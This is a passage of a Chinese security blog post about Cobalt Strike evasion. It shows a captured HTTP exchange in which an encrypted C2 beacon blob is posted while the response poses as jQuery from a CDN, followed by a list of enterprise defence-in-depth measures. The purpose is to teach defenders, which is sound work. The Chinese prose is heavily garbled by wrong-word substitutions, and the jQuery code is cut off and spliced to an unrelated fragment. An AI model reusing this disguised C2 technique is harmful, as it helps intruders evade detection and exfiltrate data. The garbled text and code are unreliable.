Referer: http://cdn.bootcss.com/
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko
Content-Length: 1995
Connection: Keep-Alive
Cache-Control: no-cache

(加密的C2掌握信息)

Post要求 中有 歹意流量特性( “加密的C2掌握信息“),一条完全的信息是如许的:

WHAJWlhwDIpYcAlYWHAM9FhwCUsDI3ApLBVkeggCZjk9A3oHUUAAalIjcCksFWRTaHk9UCsdeil2FXE_UUQAaWxAAzkrAnopdhVxP1FEOGhRRD1iUgdgNDEeYC52FXE_UUQ4aFFEMGxSE3ooKwMnPyAVAG9oRABvaUYDLTEeZTU_H2d0PQhsU21APVNtRjFQKxV7LDETbCl2FXE_UUQwbFFGOW5SHHo7KwMnPyAVAG5hRgBsakADNisdJz8gFQBuYUYAbGpIAykuE2E1KwQnPyAVAGxoRABtakgDKS4TYTUrBCc_IBUAbGhEAGJtQgMpLhNhNSsEJz8gFQBsaEQAY2tGAykuE2E1KwQnPyAVAGxoRABjYEADKS4TYTUrBCc_IBUAbGhEAGtoQTtQKwZqMjcDfXQ9CGxTbkA9U2lAP2pSJ1weHjhmKSxebCI9eTBiaHk4a2BEAykuE2E1KwQnPyAVAGxoRABrakk7UCsAZjU0A390PQhsU25APVNpRTFqUgN_OTAfei52FXE_UUY5blFBP21uen07KxthNSsEJz8gFQBsaEQAa25IPVMgRj1TDzlHbQQcYDRRQQMpLhNhNSsEJz8gFQBsaEQAa29HP1A8B2R0PQhsU2FIOVNpRzFiUQg_blEnQBRvLGUzNnk4UD0IeTY3AmwodhVxP1FBPm5oeThib0YAIm5EAA0RPj4GNBlnU2l6XgwLI2oyPRR8Nj0CJz8gFQBsaEQAaGhAOVAeH3suMSNaFg4gRz45FWQ1Nl5sIj15P2pseTtrbEQDaW5ATT8rG301KDxgLj1GPXQ9CGxTaUg-bFFCO2tqeXFsbHleExZHVTYxHgBrUhNmMj0CbDQ7FSc_IBUAbGhEAGhqQz9QOx9hPyoVZzk9XmwiPXk7aGtGAGhqSTtQKAJlBSwfZjYrL3o_KgZgOT1ebCI9eT9qbHk7aWhAAzk3GGwoPR5qP3YVcT9RQjtjank7aWpIAyoqHFYuNx9lKXYVcT9RQjpqaHk7aWBEAyo7EXp0PQhsU25APVNqQzBsUhRlNjAfei52FXE_UUY5blFCPGpgelgLCAJmLj0TfXQ9CGxTbkA9U2pGO2pSAHs2BxNqdD0IbFNqQzFuUUI_aGB5cWxseV4TFkdVNjEeAGtSA2w5OhlzKSoGJz8gFQBsaEQAaG9HO1A8HGUyNwN9dD0IbFNuQD1Ta0Y8bFIjbDsqE2ETNhRsIj0CJz8gFQBsaEQAaW9CMVArBmoyNwN9dD0IbFNuQD1Ta0g6bFIDfzkwH3oudhVxP1FGOW5RQzFtanpkKTwEanQ9CGxTbkA9U2tCP2pSEWUzLwN6LHYVcT9RRDxoaHk9bGxAACJgRgANET4-BjQZZ1Npemo1NhhmKSxebCI9eTxrbnk9bGxIACJuRAANET4-BjQZZ1NpekEzKANNOz0dZjR2FXE_UUY5blFDP2luenwpIQNtMzkXJz8gFQBpbkM_U21EMW5SKmEvHB9nPR4RZz0BBSc_IBUAbGhEAGlsQT9QDxl7PysYaCgzXmwiPXk7aGlCAGltQjFTIEY9Uw85R20EHGA0UUEDOTUUJz8gFQBrYEc_U2tAOVMgRj1TDzlHbQQcYDRRQQM5Nx5hNSsEJz8gFQBvaUYAa2hJO1MgRj1TDzlHbQQcYDRRQQNpbkB9KDkJJz8gFQBobkg5U21EPW5SI2Y8LD1uKBQZfT92FXE_UUU9bmx5O2NoQAMSMQB6DioRcHQ9CGxTa0U_blFFPmJgeXFibnleExZHVTYxHgBrUhR8NygTaCp2FXE_UUM8aGB5P2hoQAAibkQADRE-PgY0GWdTaXpqNTYYZiksXmwiPXk8a255PWlsRAAibkQADRE-PgY0GWdTaXo4bQcJbCl2FXE_UUI7a2p5P2trRgAiYEYADRE-PgY0GWdTaXpFMy4VXCo8EX0_a0Y5dD0IbFNtRD1uUUQ7bGh6CVpgqEVpOMq-aezpBykqzR3Y2qyQHet-wfs

对应相应为:
(相应中没有任何歹意流量特性)

HTTP/1.1 200 OK 
Content-Type: application/javascript; charset=utf-8
Date: Fri, 22 Feb 2019 07:46:02 GMT
Server: NetDNA-cache/2.2
Cache-Control: max-age=0, no-cache
Pragma: no-cache
Connection: keep-alive
Content-Length: 5543

/*! jQuery v3.3.1 | (c) JS Foundation and other contributors | jquery.org/license */!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(e,t){"use strict";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return"function"==typeof t&&"number"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t||r).createElement("script");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?l[c.call(e)]||"object":typeof e}var b="3.3.1",w=function(e,t){return new w.fn.init(e,t)},T=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g;w.fn=w.prototype={jquery:"3.3.1",constructor:w,length:0,toArray:function(){return o.call(this)},get:function(e){return null==e?o.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=w.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return w.each(this,e)},map:function(e){return this.pushStack(w.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(o.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(n>=0&&n<t?[this[n]]:[])},end:function(){return this.prevObject||this.constructor()},push:s,sort:n.sort,splice:n.splice},w.extend=w.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]||{},s=1,u=arguments.length,l=!1;for("boolean"==typeof a&&(l=a,a=arguments[s]||{},s++),"object"==typeof a||g(a)||(a={}),s===u&&(a=this,s--);s<u;s++)if(null!=(e=arguments[s]))for(t in e)n=a[t],a!==(r=e[t])&&(l&&r&&(w.isPlainObject(r)||(i=Array.isArray(r)))?(i?(i=!1,o=n&&Array.isArray(n)?n:[]):o=n&&w.isPlainObject(n)?n:{},a[t]=w.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},w.extend({expando:"jQuery"+("3.3.1"+Math.random()).replace(/\D/g,""),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e||"[object Object]"!==c.call(e))&&(!(t=i(e))||"function"==typeof(n=f.call(t,"constructor")&&t.constructor)&&p.call(n)===d)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e){m(e)},each:function(e,t){var n,r=0;if(C(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},trim:function(e){return null==e?"":(e+"").replace(T,"")},makeArray:function(e,t){var n=t||[];return null!=e&&(C(Object(e))?w.merge(n,"string"==typeof e?[e]:e):s.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:u.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r,i=[],o=0,a=e.length,s=!n;o<a;o++)(r=!t(e[o],o))!==s&&i.push(e[o]);return i},map:function(e,t,n){var r,i,o=0,s=[];if(C(e))for(r=e.length;o<r;o++)null!=(i=t(e[o],o,n))&&s.push(i);else for(o in e)null!=(i=t(e[o],o,n))&&s.push(i);return a.apply([],s)},guid:1,support:h}),"function"==typeof Symbol&&(w.fn[Symbol.iterator]=n[Symbol.iterator]),w.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(e,t){l["[object "+t+"]"]=t.toLowerCase()});function C(e){var t=!!e&&"length"in e&&e.length,n=x(e);return!g(e)&&!y(e)&&("array"===n||0===t||"number"==typeof t&&t>0&&t-1 in e)}var E=function(e){var t,n,r,i,o,a,s,u,l,c,f,p,d,h,g,y,v,m,x,b="sizzle"+1*new Date,w=e.document,T=0,C=0,E=ae(),k=ae(),S=ae(),D=function(e,t){return e===t&&(f=!0),0},N={}.hasOwnProperty,A=[],j=A.pop,q=A.push,L=A.push,H=A.slice,O=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},P="
kjo9gg".(o=t.documentElement,Math.max(t.body["scroll"+e],o["scroll"+e],t.body["offset"+e],o["offset"+e],o["client"+e])):void 0===i?w.css(t,n,s):w.style(t,n,i,s)},t,a?i:void 0,a)}})}),w.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "),function(e,t){w.fn[t]=function(e,n){return arguments.length>0?this.on(t,null,e,n):this.trigger(t)}}),w.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),w.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,"**"):this.off(t,e||"**",n)}}),w.proxy=function(e,t){var n,r,i;if("string"==typeof t&&(n=e[t],t=e,e=n),g(e))return r=o.call(arguments,2),i=function(){return e.apply(t||this,r.concat(o.call(arguments)))},i.guid=e.guid=e.guid||w.guid++,i},w.holdReady=function(e){e?w.readyWait++:w.ready(!0)},w.isArray=Array.isArray,w.parseJSON=JSON.parse,w.nodeName=N,w.isFunction=g,w.isWindow=y,w.camelCase=G,w.type=x,w.now=Date.now,w.isNumeric=function(e){var t=w.type(e);return("number"===t||"string"===t)&&!isNaN(e-parseFloat(e))},"function"==typeof define&&define.amd&&define("jquery",[],function(){return w});var Jt=e.jQuery,Kt=e.$;return w.noConflict=function(t){return e.$===w&&(e.$=Kt),t&&e.jQuery===w&&(e.jQuery=Jt),w},t||(e.jQuery=e.$=w),w});

建立企业网络的纵深防备系统

依据本次模仿进击的周全免杀效果来看,想要在企业中发明到这类要挟确切具有肯定难度。

那末企业怎样发明、检测、防备这类高等要挟呢?

世界上不存在能100%发明APT的要领,但可以或许经由历程构建纵深防备系统,设置多种机制去发明、检测、防备以至剖析。
以纵深防备的完美度、高可用性、延续有用性等,来增添要挟完全不被发明的难度。

如在情况中(办公网络、消费网络等)布置了多种检测防备要领:

  • 主机
    • 办公终端EDR agent: 反病毒 网络日记 要挟相应…
    • 服务器HIDS agent
  • 网络
    • Snort
    • NIDS/NIPS
  • 日记集合存储剖析
    • SIEM类 如Splunk
  • APT沙箱
    • 云端沙箱
  • WEB防备
    • WAF
  • SOC系统
    • 平安运营职员的防备才能
  • 蜜罐
  • UEBA(User and Entity Behavior Analytics)用户和实体行动剖析

在纵深防备系统下,当高等要挟从进入企业网络到后续的后渗入行动(横向挪动、暴力罗列等进击流量、接见敏感系统、接见敏感主机碉堡机、接见敏感数据、出网…),全部历程当中进击者完全不会触发告警是极难的!

以是建立充足周全、高可用、延续有用的企业网络的纵深防备系统,异常有助于发明、检测和防备高等要挟进击。

总结

本文经由历程模仿APT演示了高等要挟的周全免杀才能,并站在防备者角度思索怎样发明、检测和防备高等要挟进击,从而相识到攻防的匹敌性,体会了企业建立纵深防备系统的重要性。


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明渗入利器Cobalt Strike – 第2篇 APT级的周全免杀与企业纵深防备系统的匹敌
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址